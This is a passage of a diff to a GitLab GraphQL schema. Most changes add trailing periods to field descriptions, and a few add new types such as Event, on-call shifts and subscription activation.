Timestamp of when the issue was closed. """ closedAt: Time """ - Indicates the issue is confidential + Indicates the issue is confidential. """ confidential: Boolean! """ - User specific email address for the issue + User specific email address for the issue. """ createNoteEmail: String """ - Timestamp of when the issue was created + Timestamp of when the issue was created. """ createdAt: Time! """ - Todos for the current user + To-do items for the current user. """ currentUserTodos( """ @@ -8954,13 +9769,13 @@ type EpicIssue implements CurrentUserTodos & Noteable { last: Int """ - State of the todos + State of the to-do items. """ state: TodoStateEnum ): TodoConnection! """ - Description of the issue + Description of the issue. """ description: String @@ -8970,17 +9785,17 @@ type EpicIssue implements CurrentUserTodos & Noteable { descriptionHtml: String """ - Collection of design images associated with this issue + Collection of design images associated with this issue. """ designCollection: DesignCollection """ - Indicates discussion is locked on the issue + Indicates discussion is locked on the issue. """ discussionLocked: Boolean! """ - All discussions on this noteable + All discussions on this noteable. """ discussions( """ @@ -9005,17 +9820,17 @@ type EpicIssue implements CurrentUserTodos & Noteable { ): DiscussionConnection! """ - Number of downvotes the issue has received + Number of downvotes the issue has received. """ downvotes: Int! """ - Due date of the issue + Due date of the issue. """ dueDate: Time """ - Indicates if a project has email notifications disabled: `true` if email notifications are disabled + Indicates if a project has email notifications disabled: `true` if email notifications are disabled. """ emailsDisabled: Boolean! @@ -9025,7 +9840,7 @@ type EpicIssue implements CurrentUserTodos & Noteable { epic: Epic """ - ID of the epic-issue relation + ID of the epic-issue relation. """ epicIssueId: ID! @@ -9035,22 +9850,22 @@ type EpicIssue implements CurrentUserTodos & Noteable { healthStatus: HealthStatus """ - Human-readable time estimate of the issue + Human-readable time estimate of the issue. """ humanTimeEstimate: String """ - Human-readable total time reported as spent on the issue + Human-readable total time reported as spent on the issue. """ humanTotalTimeSpent: String """ - Global ID of the epic-issue relation + Global ID of the epic-issue relation. """ id: ID """ - Internal ID of the issue + Internal ID of the issue. """ iid: ID! @@ -9060,7 +9875,7 @@ type EpicIssue implements CurrentUserTodos & Noteable { iteration: Iteration """ - Labels of the issue + Labels of the issue. """ labels( """ @@ -9090,22 +9905,22 @@ type EpicIssue implements CurrentUserTodos & Noteable { metricImages: [MetricImage!] """ - Milestone of the issue + Milestone of the issue. """ milestone: Milestone """ - Indicates if issue got moved from other project + Indicates if issue got moved from other project. """ moved: Boolean """ - Updated Issue after it got moved to another project + Updated Issue after it got moved to another project. """ movedTo: Issue """ - All notes on this noteable + All notes on this noteable. """ notes( """ @@ -9130,7 +9945,7 @@ type EpicIssue implements CurrentUserTodos & Noteable { ): NoteConnection! """ - List of participants in the issue + List of participants in the issue. """ participants( """ @@ -9155,27 +9970,27 @@ type EpicIssue implements CurrentUserTodos & Noteable { ): UserConnection """ - Internal reference of the issue. Returned in shortened format by default + Internal reference of the issue. Returned in shortened format by default. """ reference( """ - Boolean option specifying whether the reference should be returned in full + Boolean option specifying whether the reference should be returned in full. """ full: Boolean = false ): String! """ - URI path of the epic-issue relation + URI path of the epic-issue relation. """ relationPath: String """ - Relative position of the issue (used for positioning in epic tree and issue boards) + Relative position of the issue (used for positioning in epic tree and issue boards). """ relativePosition: Int """ - Severity level of the incident + Severity level of the incident. """ severity: IssuableSeverity @@ -9185,7 +10000,7 @@ type EpicIssue implements CurrentUserTodos & Noteable { slaDueAt: Time """ - State of the issue + State of the issue. """ state: IssueState! @@ -9195,22 +10010,22 @@ type EpicIssue implements CurrentUserTodos & Noteable { statusPagePublishedIncident: Boolean """ - Indicates the currently logged in user is subscribed to the issue + Indicates the currently logged in user is subscribed to the issue. """ subscribed: Boolean! """ - Task completion status of the issue + Task completion status of the issue. """ taskCompletionStatus: TaskCompletionStatus! """ - Time estimate of the issue + Time estimate of the issue. """ timeEstimate: Int! """ - Title of the issue + Title of the issue. """ title: String! @@ -9220,37 +10035,37 @@ type EpicIssue implements CurrentUserTodos & Noteable { titleHtml: String """ - Total time reported as spent on the issue + Total time reported as spent on the issue. """ totalTimeSpent: Int! """ - Type of the issue + Type of the issue. """ type: IssueType """ - Timestamp of when the issue was last updated + Timestamp of when the issue was last updated. """ updatedAt: Time! """ - User that last updated the issue + User that last updated the issue. """ updatedBy: User """ - Number of upvotes the issue has received + Number of upvotes the issue has received. """ upvotes: Int! """ - Number of user discussions in the issue + Number of user discussions in the issue. """ userDiscussionsCount: Int! """ - Number of user notes of the issue + Number of user notes of the issue. """ userNotesCount: Int! @@ -9260,12 +10075,12 @@ type EpicIssue implements CurrentUserTodos & Noteable { userPermissions: IssuePermissions! """ - Web path of the issue + Web path of the issue. """ webPath: String! """ - Web URL of the issue + Web URL of the issue. """ webUrl: String! @@ -9280,7 +10095,7 @@ The connection type for EpicIssue. """ type EpicIssueConnection { """ - Total count of collection + Total count of collection. """ count: Int! @@ -9300,7 +10115,7 @@ type EpicIssueConnection { pageInfo: PageInfo! """ - Total weight of issues collection + Total weight of issues collection. """ weight: Int! } @@ -9554,22 +10369,22 @@ A node of an epic tree. """ input EpicTreeNodeFieldsInputType { """ - The ID of the epic_issue or issue that the actual epic or issue is switched with + The ID of the epic_issue or issue that the actual epic or issue is switched with. """ adjacentReferenceId: EpicTreeSortingID """ - The ID of the epic_issue or epic that is being moved + The ID of the epic_issue or epic that is being moved. """ id: EpicTreeSortingID! """ - ID of the new parent epic + ID of the new parent epic. """ newParentId: EpicID """ - The type of the switch, after or before allowed + The type of the switch, after or before allowed. """ relativePosition: MoveType } @@ -9610,7 +10425,7 @@ type EpicTreeReorderPayload { } """ -Identifier of EpicTreeSorting +Identifier of EpicTreeSorting. """ scalar EpicTreeSortingID @@ -9630,6 +10445,168 @@ enum EpicWildcardId { } """ +Representing an event +""" +type Event { + """ + Action of the event. + """ + action: EventAction! + + """ + Author of this event. + """ + author: User! + + """ + When this event was created. + """ + createdAt: Time! + + """ + ID of the event. + """ + id: ID! + + """ + When this event was updated. + """ + updatedAt: Time! +} + +""" +Event action +""" +enum EventAction { + """ + Approved action + """ + APPROVED + + """ + Archived action + """ + ARCHIVED + + """ + Closed action + """ + CLOSED + + """ + Commented action + """ + COMMENTED + + """ + Created action + """ + CREATED + + """ + Destroyed action + """ + DESTROYED + + """ + Expired action + """ + EXPIRED + + """ + Joined action + """ + JOINED + + """ + Left action + """ + LEFT + + """ + Merged action + """ + MERGED + + """ + Pushed action + """ + PUSHED + + """ + Reopened action + """ + REOPENED + + """ + Updated action + """ + UPDATED +} + +""" +The connection type for Event. +""" +type EventConnection { + """ + A list of edges. + """ + edges: [EventEdge] + + """ + A list of nodes. + """ + nodes: [Event] + + """ + Information to aid in pagination. + """ + pageInfo: PageInfo! +} + +""" +An edge in a connection. +""" +type EventEdge { + """ + A cursor for use in pagination. + """ + cursor: String! + + """ + The item at the end of the edge. + """ + node: Event +} + +interface Eventable { + """ + A list of events associated with the object. + """ + events( + """ + Returns the elements in the list that come after the specified cursor. + """ + after: String + + """ + Returns the elements in the list that come before the specified cursor. + """ + before: String + + """ + Returns the first _n_ elements from the list. + """ + first: Int + + """ + Returns the last _n_ elements from the list. + """ + last: Int + ): EventConnection +} + +""" Autogenerated input type of ExportRequirements """ input ExportRequirementsInput { @@ -9654,6 +10631,11 @@ input ExportRequirementsInput { search: String """ + List of selected requirements fields to be exported. + """ + selectedFields: [String!] + + """ List requirements by sort order. """ sort: Sort @@ -9684,69 +10666,69 @@ Represents an external issue """ type ExternalIssue { """ - Timestamp of when the issue was created + Timestamp of when the issue was created. """ createdAt: Time """ - Type of external tracker + Type of external tracker. """ externalTracker: String """ - Relative reference of the issue in the external tracker + Relative reference of the issue in the external tracker. """ relativeReference: String """ - Status of the issue in the external tracker + Status of the issue in the external tracker. """ status: String """ - Title of the issue in the external tracker + Title of the issue in the external tracker. """ title: String """ - Timestamp of when the issue was updated + Timestamp of when the issue was updated. """ updatedAt: Time """ - URL to the issue in the external tracker + URL to the issue in the external tracker. """ webUrl: String } type GeoNode { """ - The maximum concurrency of container repository sync for this secondary node + The maximum concurrency of container repository sync for this secondary node. """ containerRepositoriesMaxCapacity: Int """ - Indicates whether this Geo node is enabled + Indicates whether this Geo node is enabled. """ enabled: Boolean """ - The maximum concurrency of LFS/attachment backfill for this secondary node + The maximum concurrency of LFS/attachment backfill for this secondary node. """ filesMaxCapacity: Int """ - ID of this GeoNode + ID of this GeoNode. """ id: ID! """ - The URL defined on the primary node that secondary nodes should use to contact it + The URL defined on the primary node that secondary nodes should use to contact it. """ internalUrl: String """ - Find merge request diff registries on this Geo node + Find merge request diff registries on this Geo node. """ mergeRequestDiffRegistries( """ @@ -9776,17 +10758,17 @@ type GeoNode { ): MergeRequestDiffRegistryConnection """ - The interval (in days) in which the repository verification is valid. Once expired, it will be reverified + The interval (in days) in which the repository verification is valid. Once expired, it will be reverified. """ minimumReverificationInterval: Int """ - The unique identifier for this Geo node + The unique identifier for this Geo node. """ name: String """ - Package file registries of the GeoNode + Package file registries of the GeoNode. """ packageFileRegistries( """ @@ -9816,17 +10798,17 @@ type GeoNode { ): PackageFileRegistryConnection """ - Indicates whether this Geo node is the primary + Indicates whether this Geo node is the primary. """ primary: Boolean """ - The maximum concurrency of repository backfill for this secondary node + The maximum concurrency of repository backfill for this secondary node. """ reposMaxCapacity: Int """ - The namespaces that should be synced, if `selective_sync_type` == `namespaces` + The namespaces that should be synced, if `selective_sync_type` == `namespaces`. """ selectiveSyncNamespaces( """ @@ -9851,17 +10833,17 @@ type GeoNode { ): NamespaceConnection """ - The repository storages whose projects should be synced, if `selective_sync_type` == `shards` + The repository storages whose projects should be synced, if `selective_sync_type` == `shards`. """ selectiveSyncShards: [String!] """ - Indicates if syncing is limited to only specific groups, or shards + Indicates if syncing is limited to only specific groups, or shards. """ selectiveSyncType: String """ - Find snippet repository registries on this Geo node + Find snippet repository registries on this Geo node. """ snippetRepositoryRegistries( """ @@ -9891,12 +10873,12 @@ type GeoNode { ): SnippetRepositoryRegistryConnection """ - Indicates if this secondary node will replicate blobs in Object Storage + Indicates if this secondary node will replicate blobs in Object Storage. """ syncObjectStorage: Boolean """ - Find terraform state version registries on this Geo node + Find terraform state version registries on this Geo node. """ terraformStateVersionRegistries( """ @@ -9926,71 +10908,101 @@ type GeoNode { ): TerraformStateVersionRegistryConnection """ - The user-facing URL for this Geo node + The user-facing URL for this Geo node. """ url: String """ - The maximum concurrency of repository verification for this secondary node + The maximum concurrency of repository verification for this secondary node. """ verificationMaxCapacity: Int } """ -Identifier of Gitlab::ErrorTracking::DetailedError +Identifier of Gitlab::ErrorTracking::DetailedError. """ scalar GitlabErrorTrackingDetailedErrorID +""" +Autogenerated input type of GitlabSubscriptionActivate +""" +input GitlabSubscriptionActivateInput { + """ + Activation code received after purchasing a GitLab subscription. + """ + activationCode: String! + + """ + A unique identifier for the client performing the mutation. + """ + clientMutationId: String +} + +""" +Autogenerated return type of GitlabSubscriptionActivate +""" +type GitlabSubscriptionActivatePayload { + """ + A unique identifier for the client performing the mutation. + """ + clientMutationId: String + + """ + Errors encountered during execution of the mutation. + """ + errors: [String!]! +} + type GrafanaIntegration { """ - Timestamp of the issue's creation + Timestamp of the issue's creation. """ createdAt: Time! """ - Indicates whether Grafana integration is enabled + Indicates whether Grafana integration is enabled. """ enabled: Boolean! """ - URL for the Grafana host for the Grafana integration + URL for the Grafana host for the Grafana integration. """ grafanaUrl: String! """ - Internal ID of the Grafana integration + Internal ID of the Grafana integration. """ id: ID! """ - Timestamp of the issue's last activity + Timestamp of the issue's last activity. """ updatedAt: Time! } type Group { """ - Size limit for repositories in the namespace in bytes + Size limit for repositories in the namespace in bytes. """ actualRepositorySizeLimit: Float """ - Additional storage purchased for the root namespace in bytes + Additional storage purchased for the root namespace in bytes. """ additionalPurchasedStorageSize: Float """ - Indicates whether Auto DevOps is enabled for all projects within this group + Indicates whether Auto DevOps is enabled for all projects within this group. """ autoDevopsEnabled: Boolean """ - Avatar URL of the group + Avatar URL of the group. """ avatarUrl: String """ - A single board of the group + A single board of the group. """ board( """ @@ -10000,7 +11012,7 @@ type Group { ): Board """ - Boards of the group + Boards of the group. """ boards( """ @@ -10030,7 +11042,7 @@ type Group { ): BoardConnection """ - Represents the code coverage activity for this group + Represents the code coverage activity for this group. """ codeCoverageActivities( """ @@ -10091,7 +11103,7 @@ type Group { ): ComplianceFrameworkConnection """ - Container repositories of the group + Container repositories of the group. """ containerRepositories( """ @@ -10118,20 +11130,25 @@ type Group { Filter the container repositories by their name. """ name: String + + """ + Sort container repositories by this criteria. + """ + sort: ContainerRepositorySort = created_desc ): ContainerRepositoryConnection """ - Number of container repositories in the group + Number of container repositories in the group. """ containerRepositoriesCount: Int! """ - Includes at least one project where the repository size exceeds the limit + Includes at least one project where the repository size exceeds the limit. """ containsLockedProjects: Boolean! """ - Custom emoji within this namespace Available only when feature flag `custom_emoji` is enabled. + Custom emoji within this namespace. Available only when feature flag `custom_emoji` is enabled. """ customEmoji( """ @@ -10156,7 +11173,7 @@ type Group { ): CustomEmojiConnection """ - Description of the namespace + Description of the namespace. """ description: String @@ -10166,12 +11183,12 @@ type Group { descriptionHtml: String """ - Indicates if a group has email notifications disabled + Indicates if a group has email notifications disabled. """ emailsDisabled: Boolean """ - Find a single epic + Find a single epic. """ epic( """ @@ -10249,7 +11266,7 @@ type Group { ): Epic """ - Find a single epic board + Find a single epic board. """ epicBoard( """ @@ -10259,7 +11276,7 @@ type Group { ): EpicBoard """ - Find epic boards + Find epic boards. """ epicBoards( """ @@ -10284,7 +11301,7 @@ type Group { ): EpicBoardConnection """ - Find epics + Find epics. """ epics( """ @@ -10387,17 +11404,17 @@ type Group { epicsEnabled: Boolean """ - Full name of the namespace + Full name of the namespace. """ fullName: String! """ - Full path of the namespace + Full path of the namespace. """ fullPath: ID! """ - A membership of a user within this group + A membership of a user within this group. """ groupMembers( """ @@ -10437,17 +11454,17 @@ type Group { groupTimelogsEnabled: Boolean """ - ID of the namespace + ID of the namespace. """ id: ID! """ - Status of the temporary storage increase + Status of the temporary storage increase. """ isTemporaryStorageIncreaseEnabled: Boolean! """ - Issues for projects in this group + Issues for projects in this group. """ issues( """ @@ -10577,7 +11594,7 @@ type Group { ): IssueConnection """ - Find iterations + Find iterations. """ iterations( """ @@ -10645,17 +11662,17 @@ type Group { ): IterationConnection """ - A label available on this group + A label available on this group. """ label( """ - Title of the label + Title of the label. """ title: String! ): Label """ - Labels available on this group + Labels available on this group. """ labels( """ @@ -10674,28 +11691,43 @@ type Group { first: Int """ + Include labels from ancestor groups. + """ + includeAncestorGroups: Boolean = false + + """ + Include labels from descendant groups. + """ + includeDescendantGroups: Boolean = false + + """ Returns the last _n_ elements from the list. """ last: Int """ - A search term to find labels with + Include only group level labels. + """ + onlyGroupLabels: Boolean = false + + """ + A search term to find labels with. """ searchTerm: String ): LabelConnection """ - Indicates if Large File Storage (LFS) is enabled for namespace + Indicates if Large File Storage (LFS) is enabled for namespace. """ lfsEnabled: Boolean """ - Indicates if a group is disabled from getting mentioned + Indicates if a group is disabled from getting mentioned. """ mentionsDisabled: Boolean """ - Merge requests for projects in this group + Merge requests for projects in this group. """ mergeRequests( """ @@ -10780,7 +11812,7 @@ type Group { ): MergeRequestConnection """ - Milestones of the group + Milestones of the group. """ milestones( """ @@ -10853,32 +11885,32 @@ type Group { ): MilestoneConnection """ - Name of the namespace + Name of the namespace. """ name: String! """ - The package settings for the namespace + The package settings for the namespace. """ packageSettings: PackageSettings """ - Parent group + Parent group. """ parent: Group """ - Path of the namespace + Path of the namespace. """ path: String! """ - The permission level required to create projects in the group + The permission level required to create projects in the group. """ projectCreationLevel: String """ - Projects within this namespace + Projects within this namespace. """ projects( """ @@ -10923,52 +11955,52 @@ type Group { ): ProjectConnection! """ - Number of projects in the root namespace where the repository size exceeds the limit + Number of projects in the root namespace where the repository size exceeds the limit. """ repositorySizeExcessProjectCount: Int! """ - Indicates if users can request access to namespace + Indicates if users can request access to namespace. """ requestAccessEnabled: Boolean """ - Indicates if all users in this group are required to set up two-factor authentication + Indicates if all users in this group are required to set up two-factor authentication. """ requireTwoFactorAuthentication: Boolean """ - Aggregated storage statistics of the namespace. Only available for root namespaces + Aggregated storage statistics of the namespace. Only available for root namespaces. """ rootStorageStatistics: RootStorageStatistics """ - Indicates if sharing a project with another group within this group is prevented + Indicates if sharing a project with another group within this group is prevented. """ shareWithGroupLock: Boolean """ - Group statistics + Group statistics. """ stats: GroupStats """ - Total storage limit of the root namespace in bytes + Total storage limit of the root namespace in bytes. """ storageSizeLimit: Float """ - The permission level required to create subgroups within the group + The permission level required to create subgroups within the group. """ subgroupCreationLevel: String """ - Date until the temporary storage increase is active + Date until the temporary storage increase is active. """ temporaryStorageIncreaseEndsOn: Time """ - Time logged in issues by group members + Time logged in issues by group members. """ timelogs( """ @@ -11013,17 +12045,17 @@ type Group { ): TimelogConnection! """ - Total repository size of all projects in the root namespace in bytes + Total repository size of all projects in the root namespace in bytes. """ totalRepositorySize: Float """ - Total excess repository size of all projects in the root namespace in bytes + Total excess repository size of all projects in the root namespace in bytes. """ totalRepositorySizeExcess: Float """ - Time before two-factor authentication is enforced + Time before two-factor authentication is enforced. """ twoFactorGracePeriod: Int @@ -11033,12 +12065,12 @@ type Group { userPermissions: GroupPermissions! """ - Visibility of the namespace + Visibility of the namespace. """ visibility: String """ - Vulnerabilities reported on the projects in the group and its subgroups + Vulnerabilities reported on the projects in the group and its subgroups. """ vulnerabilities( """ @@ -11103,7 +12135,7 @@ type Group { ): VulnerabilityConnection """ - Number of vulnerabilities per day for the projects in the group and its subgroups + Number of vulnerabilities per day for the projects in the group and its subgroups. """ vulnerabilitiesCountByDay( """ @@ -11139,7 +12171,7 @@ type Group { """ Number of vulnerabilities per severity level, per day, for the projects in the - group and its subgroups Deprecated in 13.3: Use `vulnerabilitiesCountByDay`. + group and its subgroups. Deprecated in 13.3: Use `vulnerabilitiesCountByDay`. """ vulnerabilitiesCountByDayAndSeverity( """ @@ -11174,7 +12206,7 @@ type Group { ): VulnerabilitiesCountByDayAndSeverityConnection @deprecated(reason: "Use `vulnerabilitiesCountByDay`. Deprecated in 13.3.") """ - Represents vulnerable project counts for each grade + Represents vulnerable project counts for each grade. """ vulnerabilityGrades( """ @@ -11184,7 +12216,7 @@ type Group { ): [VulnerableProjectsByGrade!]! """ - Vulnerability scanners reported on the project vulnerabilties of the group and its subgroups + Vulnerability scanners reported on the project vulnerabilities of the group and its subgroups. """ vulnerabilityScanners( """ @@ -11209,7 +12241,7 @@ type Group { ): VulnerabilityScannerConnection """ - Counts for each vulnerability severity in the group and its subgroups + Counts for each vulnerability severity in the group and its subgroups. """ vulnerabilitySeveritiesCount( """ @@ -11239,13 +12271,13 @@ type Group { ): VulnerabilitySeveritiesCount """ - Web URL of the group + Web URL of the group. """ webUrl: String! } """ -Identifier of Group +Identifier of Group. """ scalar GroupID @@ -11254,42 +12286,42 @@ Represents a Group Membership """ type GroupMember implements MemberInterface { """ - GitLab::Access level + GitLab::Access level. """ accessLevel: AccessLevel """ - Date and time the membership was created + Date and time the membership was created. """ createdAt: Time """ - User that authorized membership + User that authorized membership. """ createdBy: User """ - Date and time the membership expires + Date and time the membership expires. """ expiresAt: Time """ - Group that a User is a member of + Group that a User is a member of. """ group: Group """ - ID of the member + ID of the member. """ id: ID! """ - Date and time the membership was last updated + Date and time the membership was last updated. """ updatedAt: Time """ - User that is associated with the member object + User that is associated with the member object. """ user: User! @@ -11383,7 +12415,7 @@ Contains statistics about a group """ type GroupStats { """ - Statistics related to releases within the group + Statistics related to releases within the group. """ releaseStats: GroupReleaseStats } @@ -11545,6 +12577,16 @@ input HttpIntegrationUpdateInput { The name of the integration. """ name: String + + """ + The custom mapping of GitLab alert attributes to fields from the payload_example. + """ + payloadAttributeMappings: [AlertManagementPayloadAlertFieldInput!] + + """ + The example of an alert payload. + """ + payloadExample: JsonString } """ @@ -11573,7 +12615,7 @@ An ISO 8601-encoded date scalar ISO8601Date """ -Identifier of IncidentManagement::OncallParticipant +Identifier of IncidentManagement::OncallParticipant. """ scalar IncidentManagementOncallParticipantID @@ -11627,6 +12669,41 @@ type IncidentManagementOncallRotation { ): OncallParticipantTypeConnection """ + Blocks of time for which a participant is on-call within a given time frame. Time frame cannot exceed one month. + """ + shifts( + """ + Returns the elements in the list that come after the specified cursor. + """ + after: String + + """ + Returns the elements in the list that come before the specified cursor. + """ + before: String + + """ + End of timeframe to include shifts for. Cannot exceed one month after start. + """ + endTime: Time! + + """ + Returns the first _n_ elements from the list. + """ + first: Int + + """ + Returns the last _n_ elements from the list. + """ + last: Int + + """ + Start of timeframe to include shifts for. + """ + startTime: Time! + ): IncidentManagementOncallShiftConnection + + """ Start date of the on-call rotation. """ startsAt: Time @@ -11668,7 +12745,7 @@ type IncidentManagementOncallRotationEdge { } """ -Identifier of IncidentManagement::OncallRotation +Identifier of IncidentManagement::OncallRotation. """ scalar IncidentManagementOncallRotationID @@ -11677,22 +12754,22 @@ Describes an incident management on-call schedule """ type IncidentManagementOncallSchedule { """ - Description of the on-call schedule + Description of the on-call schedule. """ description: String """ - Internal ID of the on-call schedule + Internal ID of the on-call schedule. """ iid: ID! """ - Name of the on-call schedule + Name of the on-call schedule. """ name: String! """ - On-call rotations for the on-call schedule + On-call rotations for the on-call schedule. """ rotations( """ @@ -11717,7 +12794,7 @@ type IncidentManagementOncallSchedule { ): IncidentManagementOncallRotationConnection! """ - Time zone of the on-call schedule + Time zone of the on-call schedule. """ timezone: String! } @@ -11757,9 +12834,64 @@ type IncidentManagementOncallScheduleEdge { node: IncidentManagementOncallSchedule } +""" +A block of time for which a participant is on-call. +""" +type IncidentManagementOncallShift { + """ + End time of the on-call shift. + """ + endsAt: Time + + """ + Participant assigned to the on-call shift. + """ + participant: OncallParticipantType + + """ + Start time of the on-call shift. + """ + startsAt: Time +} + +""" +The connection type for IncidentManagementOncallShift. +""" +type IncidentManagementOncallShiftConnection { + """ + A list of edges. + """ + edges: [IncidentManagementOncallShiftEdge] + + """ + A list of nodes. + """ + nodes: [IncidentManagementOncallShift] + + """ + Information to aid in pagination. + """ + pageInfo: PageInfo! +} + +""" +An edge in a connection. +""" +type IncidentManagementOncallShiftEdge { + """ + A cursor for use in pagination. + """ + cursor: String! + + """ + The item at the end of the edge. + """ + node: IncidentManagementOncallShift +} + type InstanceSecurityDashboard { """ - Projects selected in Instance Security Dashboard + Projects selected in Instance Security Dashboard. """ projects( """ @@ -11784,12 +12916,12 @@ type InstanceSecurityDashboard { ): ProjectConnection! """ - Represents vulnerable project counts for each grade + Represents vulnerable project counts for each grade. """ vulnerabilityGrades: [VulnerableProjectsByGrade!]! """ - Vulnerability scanners reported on the vulnerabilties from projects selected in Instance Security Dashboard + Vulnerability scanners reported on the vulnerabilities from projects selected in Instance Security Dashboard. """ vulnerabilityScanners( """ @@ -11814,7 +12946,7 @@ type InstanceSecurityDashboard { ): VulnerabilityScannerConnection """ - Counts for each vulnerability severity from projects selected in Instance Security Dashboard + Counts for each vulnerability severity from projects selected in Instance Security Dashboard. """ vulnerabilitySeveritiesCount( """ @@ -11849,17 +12981,17 @@ Represents a recorded measurement (object count) for the Admins """ type InstanceStatisticsMeasurement { """ - Object count + Object count. """ count: Int! """ - The type of objects being measured + The type of objects being measured. """ identifier: MeasurementIdentifier! """ - The time the measurement was recorded + The time the measurement was recorded. """ recordedAt: Time } @@ -11941,12 +13073,12 @@ enum IssuableState { type Issue implements CurrentUserTodos & Noteable { """ - Alert associated to this issue + Alert associated to this issue. """ alertManagementAlert: AlertManagementAlert """ - Assignees of the issue + Assignees of the issue. """ assignees( """ @@ -11971,7 +13103,7 @@ type Issue implements CurrentUserTodos & Noteable { ): UserConnection """ - User that created the issue + User that created the issue. """ author: User! @@ -11986,27 +13118,27 @@ type Issue implements CurrentUserTodos & Noteable { blockedByCount: Int """ - Timestamp of when the issue was closed + Timestamp of when the issue was closed. """ closedAt: Time """ - Indicates the issue is confidential + Indicates the issue is confidential. """ confidential: Boolean! """ - User specific email address for the issue + User specific email address for the issue. """ createNoteEmail: String """ - Timestamp of when the issue was created + Timestamp of when the issue was created. """ createdAt: Time! """ - Todos for the current user + To-do items for the current user. """ currentUserTodos( """ @@ -12030,13 +13162,13 @@ type Issue implements CurrentUserTodos & Noteable { last: Int """ - State of the todos + State of the to-do items. """ state: TodoStateEnum ): TodoConnection! """ - Description of the issue + Description of the issue. """ description: String @@ -12046,17 +13178,17 @@ type Issue implements CurrentUserTodos & Noteable { descriptionHtml: String """ - Collection of design images associated with this issue + Collection of design images associated with this issue. """ designCollection: DesignCollection """ - Indicates discussion is locked on the issue + Indicates discussion is locked on the issue. """ discussionLocked: Boolean! """ - All discussions on this noteable + All discussions on this noteable. """ discussions( """ @@ -12081,17 +13213,17 @@ type Issue implements CurrentUserTodos & Noteable { ): DiscussionConnection! """ - Number of downvotes the issue has received + Number of downvotes the issue has received. """ downvotes: Int! """ - Due date of the issue + Due date of the issue. """ dueDate: Time """ - Indicates if a project has email notifications disabled: `true` if email notifications are disabled + Indicates if a project has email notifications disabled: `true` if email notifications are disabled. """ emailsDisabled: Boolean! @@ -12106,22 +13238,22 @@ type Issue implements CurrentUserTodos & Noteable { healthStatus: HealthStatus """ - Human-readable time estimate of the issue + Human-readable time estimate of the issue. """ humanTimeEstimate: String """ - Human-readable total time reported as spent on the issue + Human-readable total time reported as spent on the issue. """ humanTotalTimeSpent: String """ - ID of the issue + ID of the issue. """ id: ID! """ - Internal ID of the issue + Internal ID of the issue. """ iid: ID! @@ -12131,7 +13263,7 @@ type Issue implements CurrentUserTodos & Noteable { iteration: Iteration """ - Labels of the issue + Labels of the issue. """ labels( """ @@ -12161,22 +13293,22 @@ type Issue implements CurrentUserTodos & Noteable { metricImages: [MetricImage!] """ - Milestone of the issue + Milestone of the issue. """ milestone: Milestone """ - Indicates if issue got moved from other project + Indicates if issue got moved from other project. """ moved: Boolean """ - Updated Issue after it got moved to another project + Updated Issue after it got moved to another project. """ movedTo: Issue """ - All notes on this noteable + All notes on this noteable. """ notes( """ @@ -12201,7 +13333,7 @@ type Issue implements CurrentUserTodos & Noteable { ): NoteConnection! """ - List of participants in the issue + List of participants in the issue. """ participants( """ @@ -12226,22 +13358,22 @@ type Issue implements CurrentUserTodos & Noteable { ): UserConnection """ - Internal reference of the issue. Returned in shortened format by default + Internal reference of the issue. Returned in shortened format by default. """ reference( """ - Boolean option specifying whether the reference should be returned in full + Boolean option specifying whether the reference should be returned in full. """ full: Boolean = false ): String! """ - Relative position of the issue (used for positioning in epic tree and issue boards) + Relative position of the issue (used for positioning in epic tree and issue boards). """ relativePosition: Int """ - Severity level of the incident + Severity level of the incident. """ severity: IssuableSeverity @@ -12251,7 +13383,7 @@ type Issue implements CurrentUserTodos & Noteable { slaDueAt: Time """ - State of the issue + State of the issue. """ state: IssueState! @@ -12261,22 +13393,22 @@ type Issue implements CurrentUserTodos & Noteable { statusPagePublishedIncident: Boolean """ - Indicates the currently logged in user is subscribed to the issue + Indicates the currently logged in user is subscribed to the issue. """ subscribed: Boolean! """ - Task completion status of the issue + Task completion status of the issue. """ taskCompletionStatus: TaskCompletionStatus! """ - Time estimate of the issue + Time estimate of the issue. """ timeEstimate: Int! """ - Title of the issue + Title of the issue. """ title: String! @@ -12286,37 +13418,37 @@ type Issue implements CurrentUserTodos & Noteable { titleHtml: String """ - Total time reported as spent on the issue + Total time reported as spent on the issue. """ totalTimeSpent: Int! """ - Type of the issue + Type of the issue. """ type: IssueType """ - Timestamp of when the issue was last updated + Timestamp of when the issue was last updated. """ updatedAt: Time! """ - User that last updated the issue + User that last updated the issue. """ updatedBy: User """ - Number of upvotes the issue has received + Number of upvotes the issue has received. """ upvotes: Int! """ - Number of user discussions in the issue + Number of user discussions in the issue. """ userDiscussionsCount: Int! """ - Number of user notes of the issue + Number of user notes of the issue. """ userNotesCount: Int! @@ -12326,12 +13458,12 @@ type Issue implements CurrentUserTodos & Noteable { userPermissions: IssuePermissions! """ - Web path of the issue + Web path of the issue. """ webPath: String! """ - Web URL of the issue + Web URL of the issue. """ webUrl: String! @@ -12346,7 +13478,7 @@ The connection type for Issue. """ type IssueConnection { """ - Total count of collection + Total count of collection. """ count: Int! @@ -12366,7 +13498,7 @@ type IssueConnection { pageInfo: PageInfo! """ - Total weight of issues collection + Total weight of issues collection. """ weight: Int! } @@ -12387,7 +13519,7 @@ type IssueEdge { } """ -Identifier of Issue +Identifier of Issue. """ scalar IssueID @@ -13161,12 +14293,12 @@ Represents an iteration object """ type Iteration implements TimeboxReportInterface { """ - Timestamp of iteration creation + Timestamp of iteration creation. """ createdAt: Time! """ - Description of the iteration + Description of the iteration. """ description: String @@ -13176,62 +14308,62 @@ type Iteration implements TimeboxReportInterface { descriptionHtml: String """ - Timestamp of the iteration due date + Timestamp of the iteration due date. """ dueDate: Time """ - ID of the iteration + ID of the iteration. """ id: ID! """ - Internal ID of the iteration + Internal ID of the iteration. """ iid: ID! """ - Historically accurate report about the timebox + Historically accurate report about the timebox. """ report: TimeboxReport """ - Web path of the iteration, scoped to the query parent. Only valid for Project parents. Returns null in other contexts + Web path of the iteration, scoped to the query parent. Only valid for Project parents. Returns null in other contexts. """ scopedPath: String """ - Web URL of the iteration, scoped to the query parent. Only valid for Project parents. Returns null in other contexts + Web URL of the iteration, scoped to the query parent. Only valid for Project parents. Returns null in other contexts. """ scopedUrl: String """ - Timestamp of the iteration start date + Timestamp of the iteration start date. """ startDate: Time """ - State of the iteration + State of the iteration. """ state: IterationState! """ - Title of the iteration + Title of the iteration. """ title: String! """ - Timestamp of last iteration update + Timestamp of last iteration update. """ updatedAt: Time! """ - Web path of the iteration + Web path of the iteration. """ webPath: String! """ - Web URL of the iteration + Web URL of the iteration. """ webUrl: String! } @@ -13272,7 +14404,7 @@ type IterationEdge { } """ -Identifier of Iteration 